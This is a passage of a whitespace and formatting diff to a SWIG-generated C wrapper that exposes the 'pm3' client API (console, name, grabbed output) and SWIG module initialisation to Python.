0 ; - PyObject *swig_obj[1] ; - - (void)self; - if (!args) SWIG_fail; - swig_obj[0] = args; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, SWIG_POINTER_DISOWN | 0 ); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_pm3" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - delete_pm3(arg1); - resultobj = SWIG_Py_Void(); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + void *argp1 = 0 ; + int res1 = 0 ; + PyObject *swig_obj[1] ; + + (void)self; + if (!args) SWIG_fail; + swig_obj[0] = args; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, SWIG_POINTER_DISOWN | 0); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_pm3" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + delete_pm3(arg1); + resultobj = SWIG_Py_Void(); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *_wrap_pm3_console(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *arg2 = (char *) 0 ; - bool arg3 = (bool) true ; - bool arg4 = (bool) true ; - void *argp1 = 0 ; - int res1 = 0 ; - int res2 ; - char *buf2 = 0 ; - int alloc2 = 0 ; - bool val3 ; - int ecode3 = 0 ; - bool val4 ; - int ecode4 = 0 ; - PyObject *swig_obj[4] ; - int result; - - (void)self; - if (!SWIG_Python_UnpackTuple(args, "pm3_console", 2, 4, swig_obj)) SWIG_fail; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, 0 | 0 ); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_console" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - res2 = SWIG_AsCharPtrAndSize(swig_obj[1], &buf2, NULL, &alloc2); - if (!SWIG_IsOK(res2)) { - SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "pm3_console" "', argument " "2"" of type '" "char *""'"); - } - arg2 = (char *)(buf2); - if (swig_obj[2]) { - ecode3 = SWIG_AsVal_bool(swig_obj[2], &val3); - if (!SWIG_IsOK(ecode3)) { - SWIG_exception_fail(SWIG_ArgError(ecode3), "in method '" "pm3_console" "', argument " "3"" of type '" "bool""'"); - } - arg3 = (bool)(val3); - } - if (swig_obj[3]) { - ecode4 = SWIG_AsVal_bool(swig_obj[3], &val4); - if (!SWIG_IsOK(ecode4)) { - SWIG_exception_fail(SWIG_ArgError(ecode4), "in method '" "pm3_console" "', argument " "4"" of type '" "bool""'"); - } - arg4 = (bool)(val4); - } - result = (int)pm3_console(arg1,arg2,arg3,arg4); - resultobj = SWIG_From_int((int)(result)); - if (alloc2 == SWIG_NEWOBJ) free((char*)buf2); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *arg2 = (char *) 0 ; + bool arg3 = (bool) true ; + bool arg4 = (bool) true ; + void *argp1 = 0 ; + int res1 = 0 ; + int res2 ; + char *buf2 = 0 ; + int alloc2 = 0 ; + bool val3 ; + int ecode3 = 0 ; + bool val4 ; + int ecode4 = 0 ; + PyObject *swig_obj[4] ; + int result; + + (void)self; + if (!SWIG_Python_UnpackTuple(args, "pm3_console", 2, 4, swig_obj)) SWIG_fail; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_console" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + res2 = SWIG_AsCharPtrAndSize(swig_obj[1], &buf2, NULL, &alloc2); + if (!SWIG_IsOK(res2)) { + SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "pm3_console" "', argument " "2"" of type '" "char *""'"); + } + arg2 = (char *)(buf2); + if (swig_obj[2]) { + ecode3 = SWIG_AsVal_bool(swig_obj[2], &val3); + if (!SWIG_IsOK(ecode3)) { + SWIG_exception_fail(SWIG_ArgError(ecode3), "in method '" "pm3_console" "', argument " "3"" of type '" "bool""'"); + } + arg3 = (bool)(val3); + } + if (swig_obj[3]) { + ecode4 = SWIG_AsVal_bool(swig_obj[3], &val4); + if (!SWIG_IsOK(ecode4)) { + SWIG_exception_fail(SWIG_ArgError(ecode4), "in method '" "pm3_console" "', argument " "4"" of type '" "bool""'"); + } + arg4 = (bool)(val4); + } + result = (int)pm3_console(arg1, arg2, arg3, arg4); + resultobj = SWIG_From_int((int)(result)); + if (alloc2 == SWIG_NEWOBJ) free((char *)buf2); + return resultobj; fail: - if (alloc2 == SWIG_NEWOBJ) free((char*)buf2); - return NULL; + if (alloc2 == SWIG_NEWOBJ) free((char *)buf2); + return NULL; } SWIGINTERN PyObject *_wrap_pm3_name_get(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - void *argp1 = 0 ; - int res1 = 0 ; - PyObject *swig_obj[1] ; - char *result = 0 ; - - (void)self; - if (!args) SWIG_fail; - swig_obj[0] = args; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, 0 | 0 ); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_name_get" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - result = (char *)pm3_name_get(arg1); - resultobj = SWIG_FromCharPtr((const char *)result); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + void *argp1 = 0 ; + int res1 = 0 ; + PyObject *swig_obj[1] ; + char *result = 0 ; + + (void)self; + if (!args) SWIG_fail; + swig_obj[0] = args; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_name_get" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + result = (char *)pm3_name_get(arg1); + resultobj = SWIG_FromCharPtr((const char *)result); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *_wrap_pm3_grabbed_output_get(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - void *argp1 = 0 ; - int res1 = 0 ; - PyObject *swig_obj[1] ; - char *result = 0 ; - - (void)self; - if (!args) SWIG_fail; - swig_obj[0] = args; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, 0 | 0 ); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_grabbed_output_get" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - result = (char *)pm3_grabbed_output_get(arg1); - resultobj = SWIG_FromCharPtr((const char *)result); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + void *argp1 = 0 ; + int res1 = 0 ; + PyObject *swig_obj[1] ; + char *result = 0 ; + + (void)self; + if (!args) SWIG_fail; + swig_obj[0] = args; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_grabbed_output_get" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + result = (char *)pm3_grabbed_output_get(arg1); + resultobj = SWIG_FromCharPtr((const char *)result); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *pm3_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { - PyObject *obj; - if (!SWIG_Python_UnpackTuple(args, "swigregister", 1, 1, &obj)) return NULL; - SWIG_TypeNewClientData(SWIGTYPE_p_pm3, SWIG_NewClientData(obj)); - return SWIG_Py_Void(); + PyObject *obj; + if (!SWIG_Python_UnpackTuple(args, "swigregister", 1, 1, &obj)) return NULL; + SWIG_TypeNewClientData(SWIGTYPE_p_pm3, SWIG_NewClientData(obj)); + return SWIG_Py_Void(); } SWIGINTERN PyObject *pm3_swiginit(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { - return SWIG_Python_InitShadowInstance(args); + return SWIG_Python_InitShadowInstance(args); } static PyMethodDef SwigMethods[] = { - { "new_pm3", _wrap_new_pm3, METH_VARARGS, NULL}, - { "delete_pm3", _wrap_delete_pm3, METH_O, NULL}, - { "pm3_console", _wrap_pm3_console, METH_VARARGS, NULL}, - { "pm3_name_get", _wrap_pm3_name_get, METH_O, NULL}, - { "pm3_grabbed_output_get", _wrap_pm3_grabbed_output_get, METH_O, NULL}, - { "pm3_swigregister", pm3_swigregister, METH_O, NULL}, - { "pm3_swiginit", pm3_swiginit, METH_VARARGS, NULL}, - { NULL, NULL, 0, NULL } + { "new_pm3", _wrap_new_pm3, METH_VARARGS, NULL}, + { "delete_pm3", _wrap_delete_pm3, METH_O, NULL}, + { "pm3_console", _wrap_pm3_console, METH_VARARGS, NULL}, + { "pm3_name_get", _wrap_pm3_name_get, METH_O, NULL}, + { "pm3_grabbed_output_get", _wrap_pm3_grabbed_output_get, METH_O, NULL}, + { "pm3_swigregister", pm3_swigregister, METH_O, NULL}, + { "pm3_swiginit", pm3_swiginit, METH_VARARGS, NULL}, + { NULL, NULL, 0, NULL } }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */ -static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void*)0, 0}; -static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void*)0, 0}; +static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void *)0, 0}; +static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void *)0, 0}; static swig_type_info *swig_type_initial[] = { - &_swigt__p_char, - &_swigt__p_pm3, + &_swigt__p_char, + &_swigt__p_pm3, }; -static swig_cast_info _swigc__p_char[] = { {&_swigt__p_char, 0, 0, 0},{0, 0, 0, 0}}; -static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0},{0, 0, 0, 0}}; +static swig_cast_info _swigc__p_char[] = { {&_swigt__p_char, 0, 0, 0}, {0, 0, 0, 0}}; +static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0}, {0, 0, 0, 0}}; static swig_cast_info *swig_cast_initial[] = { - _swigc__p_char, - _swigc__p_pm3, + _swigc__p_char, + _swigc__p_pm3, }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */ static swig_const_info swig_const_table[] = { -{0, 0, 0, 0.0, 0, 0}}; + {0, 0, 0, 0.0, 0, 0} +}; #ifdef __cplusplus } @@ -3801,143 +3753,143 @@ extern "C" { SWIGRUNTIME void SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { - size_t i; - swig_module_info *module_head, *iter; - int init; - - /* check to see if the circular list has been setup, if not, set it up */ - if (swig_module.next==0) { - /* Initialize the swig_module */ - swig_module.type_initial = swig_type_initial; - swig_module.cast_initial = swig_cast_initial; - swig_module.next = &swig_module; - init = 1; - } else { - init = 0; - } - - /* Try and load any already created modules */ - module_head = SWIG_GetModule(clientdata); - if (!module_head) { - /* This is the first module loaded for this interpreter */ - /* so set the swig module into the interpreter */ - SWIG_SetModule(clientdata, &swig_module); - } else { - /* the interpreter has loaded a SWIG module, but has it loaded this one? */ - iter=module_head; - do { - if (iter==&swig_module) { - /* Our module is already in the list, so there's nothing more to do. */ - return; - } - iter=iter->next; - } while (iter!= module_head); - - /* otherwise we must add our module into the list */ - swig_module.next = module_head->next; - module_head->next = &swig_module; - } - - /* When multiple interpreters are used, a module could have already been initialized in - a different interpreter, but not yet have a pointer in this interpreter. - In this case, we do not want to continue adding types... everything should be - set up already */ - if (init == 0) return; - - /* Now work on filling in swig_module.types */ -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); -#endif - for (i = 0; i < swig_module.size; ++i) { - swig_type_info *type = 0; - swig_type_info *ret; - swig_cast_info *cast; - -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); -#endif - - /* if there is another module already loaded */ - if (swig_module.next != &swig_module) { - type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); - } - if (type) { - /* Overwrite clientdata field */ -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found type %s\n", type->name); -#endif - if (swig_module.type_initial[i]->clientdata) { - type->clientdata = swig_module.type_initial[i]->clientdata; -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); -#endif - } + size_t i; + swig_module_info *module_head, *iter; + int init; + + /* check to see if the circular list has been setup, if not, set it up */ + if (swig_module.next == 0) { + /* Initialize the swig_module */ + swig_module.type_initial = swig_type_initial; + swig_module.cast_initial = swig_cast_initial; + swig_module.next = &swig_module; + init = 1; } else { - type = swig_module.type_initial[i]; + init = 0; } - - /* Insert casting types */ - cast = swig_module.cast_initial[i]; - while (cast->type) { - /* Don't need to add information already in the list */ - ret = 0; + + /* Try and load any already created modules */ + module_head = SWIG_GetModule(clientdata); + if (!module_head) { + /* This is the first module loaded for this interpreter */ + /* so set the swig module into the interpreter */ + SWIG_SetModule(clientdata, &swig_module); + } else { + /* the interpreter has loaded a SWIG module, but has it loaded this one? */ + iter = module_head; + do { + if (iter == &swig_module) { + /* Our module is already in the list, so there's nothing more to do. */ + return; + } + iter = iter->next; + } while (iter != module_head); + + /* otherwise we must add our module into the list */ + swig_module.next = module_head->next; + module_head->next = &swig_module; + } + + /* When multiple interpreters are used, a module could have already been initialized in + a different interpreter, but not yet have a pointer in this interpreter. + In this case, we do not want to continue adding types... everything should be + set up already */ + if (init == 0) return; + + /* Now work on filling in swig_module.types */ #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); + printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); #endif - if (swig_module.next != &swig_module) { - ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); + for (i = 0; i < swig_module.size; ++i) { + swig_type_info *type = 0; + swig_type_info *ret; + swig_cast_info *cast; + #ifdef SWIGRUNTIME_DEBUG - if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); #endif - } - if (ret) { - if (type == swig_module.type_initial[i]) { + + /* if there is another module already loaded */ + if (swig_module.next != &swig_module) { + type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); + } + if (type) { + /* Overwrite clientdata field */ #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: skip old type %s\n", ret->name); + printf("SWIG_InitializeModule: found type %s\n", type->name); #endif - cast->type = ret; - ret = 0; + if (swig_module.type_initial[i]->clientdata) { + type->clientdata = swig_module.type_initial[i]->clientdata; +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); +#endif + } } else { - /* Check for casting already in the list */ - swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); -#ifdef SWIGRUNTIME_DEBUG - if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); -#endif - if (!ocast) ret = 0; + type = swig_module.type_initial[i]; } - } - - if (!ret) { + + /* Insert casting types */ + cast = swig_module.cast_initial[i]; + while (cast->type) { + /* Don't need to add information already in the list */ + ret = 0; #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); + printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); #endif - if (type->cast) { - type->cast->prev = cast; - cast->next = type->cast; - } - type->cast = cast; - } - cast++; - } - /* Set entry in modules->types array equal to the type */ - swig_module.types[i] = type; - } - swig_module.types[i] = 0; - + if (swig_module.next != &swig_module) { + ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); #ifdef SWIGRUNTIME_DEBUG - printf("**** SWIG_InitializeModule: Cast List ******\n"); - for (i = 0; i < swig_module.size; ++i) { - int j = 0; - swig_cast_info *cast = swig_module.cast_initial[i]; - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); - while (cast->type) { - printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); - cast++; - ++j; + if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); +#endif + } + if (ret) { + if (type == swig_module.type_initial[i]) { +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: skip old type %s\n", ret->name); +#endif + cast->type = ret; + ret = 0; + } else { + /* Check for casting already in the list */ + swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); +#ifdef SWIGRUNTIME_DEBUG + if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); +#endif + if (!ocast) ret = 0; + } + } + + if (!ret) { +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); +#endif + if (type->cast) { + type->cast->prev = cast; + cast->next = type->cast; + } + type->cast = cast; + } + cast++; + } + /* Set entry in modules->types array equal to the type */ + swig_module.types[i] = type; } - printf("---- Total casts: %d\n",j); - } - printf("**** SWIG_InitializeModule: Cast List ******\n"); + swig_module.types[i] = 0; + +#ifdef SWIGRUNTIME_DEBUG + printf("**** SWIG_InitializeModule: Cast List ******\n"); + for (i = 0; i < swig_module.size; ++i) { + int j = 0; + swig_cast_info *cast = swig_module.cast_initial[i]; + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); + while (cast->type) { + printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); + cast++; + ++j; + } + printf("---- Total casts: %d\n", j); + } + printf("**** SWIG_InitializeModule: Cast List ******\n"); #endif } @@ -3948,31 +3900,31 @@ SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { */ SWIGRUNTIME void SWIG_PropagateClientData(void) { - size_t i; - swig_cast_info *equiv; - static int init_run = 0; - - if (init_run) return; - init_run = 1; - - for (i = 0; i < swig_module.size; i++) { - if (swig_module.types[i]->clientdata) { - equiv = swig_module.types[i]->cast; - while (equiv) { - if (!equiv->converter) { - if (equiv->type && !equiv->type->clientdata) - SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); + size_t i; + swig_cast_info *equiv; + static int init_run = 0; + + if (init_run) return; + init_run = 1; + + for (i = 0; i < swig_module.size; i++) { + if (swig_module.types[i]->clientdata) { + equiv = swig_module.types[i]->cast; + while (equiv) { + if (!equiv->converter) { + if (equiv->type && !equiv->type->clientdata) + SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); + } + equiv = equiv->next; + } } - equiv = equiv->next; - } } - } } #ifdef __cplusplus #if 0 { - /* c-mode */ + /* c-mode */ #endif } #endif @@ -3982,80 +3934,80 @@ SWIG_PropagateClientData(void) { #ifdef __cplusplus extern "C" { #endif - - /* ----------------------------------------------------------------------------- - * constants/methods manipulation - * ----------------------------------------------------------------------------- */ - - /* Install Constants */ - SWIGINTERN void - SWIG_Python_InstallConstants(PyObject *d, swig_const_info constants[]) { + +/* ----------------------------------------------------------------------------- + * constants/methods manipulation + * ----------------------------------------------------------------------------- */ + +/* Install Constants */ +SWIGINTERN void +SWIG_Python_InstallConstants(PyObject *d, swig_const_info constants[]) { PyObject *obj = 0; size_t i; for (i = 0; constants[i].type; ++i) { - switch(constants[i].type) { - case SWIG_PY_POINTER: - obj = SWIG_InternalNewPointerObj(constants[i].pvalue, *(constants[i]).ptype,0); - break; - case SWIG_PY_BINARY: - obj = SWIG_NewPackedObj(constants[i].pvalue, constants[i].lvalue, *(constants[i].ptype)); - break; - default: - obj = 0; - break; - } - if (obj) { - PyDict_SetItemString(d, constants[i].name, obj); - Py_DECREF(obj); - } + switch (constants[i].type) { + case SWIG_PY_POINTER: + obj = SWIG_InternalNewPointerObj(constants[i].pvalue, *(constants[i]).ptype, 0); + break; + case SWIG_PY_BINARY: + obj = SWIG_NewPackedObj(constants[i].pvalue, constants[i].lvalue, *(constants[i].ptype)); + break; + default: + obj = 0; + break; + } + if (obj) { + PyDict_SetItemString(d, constants[i].name, obj); + Py_DECREF(obj); + } } - } - - /* ----------------------------------------------------------------------------- - * Patch %callback methods' docstrings to hold the callback ptrs - * -----------------------------------------------------------------------------*/ - - SWIGINTERN void - SWIG_Python_FixMethods(PyMethodDef *methods, const swig_const_info *const_table, swig_type_info **types, swig_type_info **types_initial) { +} + +/* ----------------------------------------------------------------------------- + * Patch %callback methods' docstrings to hold the callback ptrs + * -----------------------------------------------------------------------------*/ + +SWIGINTERN void +SWIG_Python_FixMethods(PyMethodDef *methods, const swig_const_info *const_table, swig_type_info **types, swig_type_info **types_initial) { size_t i; for (i = 0; methods[i].ml_name; ++i) { - const char *c = methods[i].ml_doc; - if (!c) continue; - c = strstr(c, "swig_ptr: "); - if (c) { - int j; - const swig_const_info *ci = 0; - const char *name = c + 10; - for (j = 0; const_table[j].type; ++j) { - if (strncmp(const_table[j].name, name, - strlen(const_table[j].name)) == 0) { - ci = &(const_table[j]); - break; - } - } - if (ci) { - void *ptr = (ci->type == SWIG_PY_POINTER) ? ci->pvalue : 0; - if (ptr) { - size_t shift = (ci->ptype) - types; - swig_type_info *ty = types_initial[shift]; - size_t ldoc = (c - methods[i].ml_doc); - size_t lptr = strlen(ty->name)+2*sizeof(void*)+2; - char *ndoc = (char*)malloc(ldoc + lptr + 10); - if (ndoc) { - char *buff = ndoc; - memcpy(buff, methods[i].ml_doc, ldoc); - buff += ldoc; - memcpy(buff, "swig_ptr: ", 10); - buff += 10; - SWIG_PackVoidPtr(buff, ptr, ty->name, lptr); - methods[i].ml_doc = ndoc; + const char *c = methods[i].ml_doc; + if (!c) continue; + c = strstr(c, "swig_ptr: "); + if (c) { + int j; + const swig_const_info *ci = 0; + const char *name = c + 10; + for (j = 0; const_table[j].type; ++j) { + if (strncmp(const_table[j].name, name, + strlen(const_table[j].name)) == 0) { + ci = &(const_table[j]); + break; + } + } + if (ci) { + void *ptr = (ci->type == SWIG_PY_POINTER) ? ci->pvalue : 0; + if (ptr) { + size_t shift = (ci->ptype) - types; + swig_type_info *ty = types_initial[shift]; + size_t ldoc = (c - methods[i].ml_doc); + size_t lptr = strlen(ty->name) + 2 * sizeof(void *) +2; + char *ndoc = (char *)malloc(ldoc + lptr + 10); + if (ndoc) { + char *buff = ndoc; + memcpy(buff, methods[i].ml_doc, ldoc); + buff += ldoc; + memcpy(buff, "swig_ptr: ", 10); + buff += 10; + SWIG_PackVoidPtr(buff, ptr, ty->name, lptr); + methods[i].ml_doc = ndoc; + } + } } - } } - } } - } - +} + #ifdef __cplusplus } #endif @@ -4071,137 +4023,137 @@ extern "C" { extern "C" #endif -SWIGEXPORT +SWIGEXPORT #if PY_VERSION_HEX >= 0x03000000 -PyObject* +PyObject * #else void #endif SWIG_init(void) { - PyObject *m, *d, *md, *globals; - + PyObject *m, *d, *md, *globals; + #if PY_VERSION_HEX >= 0x03000000 - static struct PyModuleDef SWIG_module = { - PyModuleDef_HEAD_INIT, - SWIG_name, - NULL, - -1, - SwigMethods, - NULL, - NULL, - NULL, - NULL - }; + static struct PyModuleDef SWIG_module = { + PyModuleDef_HEAD_INIT, + SWIG_name, + NULL, + -1, + SwigMethods, + NULL, + NULL, + NULL, + NULL + }; #endif - + #if defined(SWIGPYTHON_BUILTIN) - static SwigPyClientData SwigPyObject_clientdata = { - 0, 0, 0, 0, 0, 0, 0 - }; - static PyGetSetDef this_getset_def = { - (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL - }; - static SwigPyGetSet thisown_getset_closure = { - SwigPyObject_own, - SwigPyObject_own - }; - static PyGetSetDef thisown_getset_def = { - (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure - }; - PyTypeObject *builtin_pytype; - int builtin_base_count; - swig_type_info *builtin_basetype; - PyObject *tuple; - PyGetSetDescrObject *static_getset; - PyTypeObject *metatype; - PyTypeObject *swigpyobject; - SwigPyClientData *cd; - PyObject *public_interface, *public_symbol; - PyObject *this_descr; - PyObject *thisown_descr; - PyObject *self = 0; - int i; - - (void)builtin_pytype; - (void)builtin_base_count; - (void)builtin_basetype; - (void)tuple; - (void)static_getset; - (void)self; - - /* Metaclass is used to implement static member variables */ - metatype = SwigPyObjectType(); - assert(metatype); + static SwigPyClientData SwigPyObject_clientdata = { + 0, 0, 0, 0, 0, 0, 0 + }; + static PyGetSetDef this_getset_def = { + (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL + }; + static SwigPyGetSet thisown_getset_closure = { + SwigPyObject_own, + SwigPyObject_own + }; + static PyGetSetDef thisown_getset_def = { + (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure + }; + PyTypeObject *builtin_pytype; + int builtin_base_count; + swig_type_info *builtin_basetype; + PyObject *tuple; + PyGetSetDescrObject *static_getset; + PyTypeObject *metatype; + PyTypeObject *swigpyobject; + SwigPyClientData *cd; + PyObject *public_interface, *public_symbol; + PyObject *this_descr; + PyObject *thisown_descr; + PyObject *self = 0; + int i; + + (void)builtin_pytype; + (void)builtin_base_count; + (void)builtin_basetype; + (void)tuple; + (void)static_getset; + (void)self; + + /* Metaclass is used to implement static member variables */ + metatype = SwigPyObjectType(); + assert(metatype); #endif - - (void)globals; - - /* Create singletons now to avoid potential deadlocks with multi-threaded usage after module initialization */ - SWIG_This(); - SWIG_Python_TypeCache(); - SwigPyPacked_type(); + + (void)globals; + + /* Create singletons now to avoid potential deadlocks with multi-threaded usage after module initialization */ + SWIG_This(); + SWIG_Python_TypeCache(); + SwigPyPacked_type(); #ifndef SWIGPYTHON_BUILTIN - SwigPyObject_type(); + SwigPyObject_type(); #endif - - /* Fix SwigMethods to carry the callback ptrs when needed */ - SWIG_Python_FixMethods(SwigMethods, swig_const_table, swig_types, swig_type_initial); - + + /* Fix SwigMethods to carry the callback ptrs when needed */ + SWIG_Python_FixMethods(SwigMethods, swig_const_table, swig_types, swig_type_initial); + #if PY_VERSION_HEX >= 0x03000000 - m = PyModule_Create(&SWIG_module); + m = PyModule_Create(&SWIG_module); #else - m = Py_InitModule(SWIG_name, SwigMethods); + m = Py_InitModule(SWIG_name, SwigMethods); #endif - - md = d = PyModule_GetDict(m); - (void)md; - - SWIG_InitializeModule(0); - + + md = d = PyModule_GetDict(m); + (void)md; + + SWIG_InitializeModule(0); + #ifdef SWIGPYTHON_BUILTIN - swigpyobject = SwigPyObject_TypeOnce(); - - SwigPyObject_stype = SWIG_MangledTypeQuery("_p_SwigPyObject"); - assert(SwigPyObject_stype); - cd = (SwigPyClientData*) SwigPyObject_stype->clientdata; - if (!cd) { - SwigPyObject_stype->clientdata = &SwigPyObject_clientdata; - SwigPyObject_clientdata.pytype = swigpyobject; - } else if (swigpyobject->tp_basicsize != cd->pytype->tp_basicsize) { - PyErr_SetString(PyExc_RuntimeError, "Import error: attempted to load two incompatible swig-generated modules."); + swigpyobject = SwigPyObject_TypeOnce(); + + SwigPyObject_stype = SWIG_MangledTypeQuery("_p_SwigPyObject"); + assert(SwigPyObject_stype); + cd = (SwigPyClientData *) SwigPyObject_stype->clientdata; + if (!cd) { + SwigPyObject_stype->clientdata = &SwigPyObject_clientdata; + SwigPyObject_clientdata.pytype = swigpyobject; + } else if (swigpyobject->tp_basicsize != cd->pytype->tp_basicsize) { + PyErr_SetString(PyExc_RuntimeError, "Import error: attempted to load two incompatible swig-generated modules."); # if PY_VERSION_HEX >= 0x03000000 - return NULL; + return NULL; # else - return; + return; # endif - } - - /* All objects have a 'this' attribute */ - this_descr = PyDescr_NewGetSet(SwigPyObject_type(), &this_getset_def); - (void)this_descr; - - /* All objects have a 'thisown' attribute */ - thisown_descr = PyDescr_NewGetSet(SwigPyObject_type(), &thisown_getset_def); - (void)thisown_descr; - - public_interface = PyList_New(0); - public_symbol = 0; - (void)public_symbol; - - PyDict_SetItemString(md, "__all__", public_interface); - Py_DECREF(public_interface); - for (i = 0; SwigMethods[i].ml_name != NULL; ++i) - SwigPyBuiltin_AddPublicSymbol(public_interface, SwigMethods[i].ml_name); - for (i = 0; swig_const_table[i].name != 0; ++i) - SwigPyBuiltin_AddPublicSymbol(public_interface, swig_const_table[i].name); + } + + /* All objects have a 'this' attribute */ + this_descr = PyDescr_NewGetSet(SwigPyObject_type(), &this_getset_def); + (void)this_descr; + + /* All objects have a 'thisown' attribute */ + thisown_descr = PyDescr_NewGetSet(SwigPyObject_type(), &thisown_getset_def); + (void)thisown_descr; + + public_interface = PyList_New(0); + public_symbol = 0; + (void)public_symbol; + + PyDict_SetItemString(md, "__all__", public_interface); + Py_DECREF(public_interface); + for (i = 0; SwigMethods[i].ml_name != NULL; ++i) + SwigPyBuiltin_AddPublicSymbol(public_interface, SwigMethods[i].ml_name); + for (i = 0; swig_const_table[i].name != 0; ++i) + 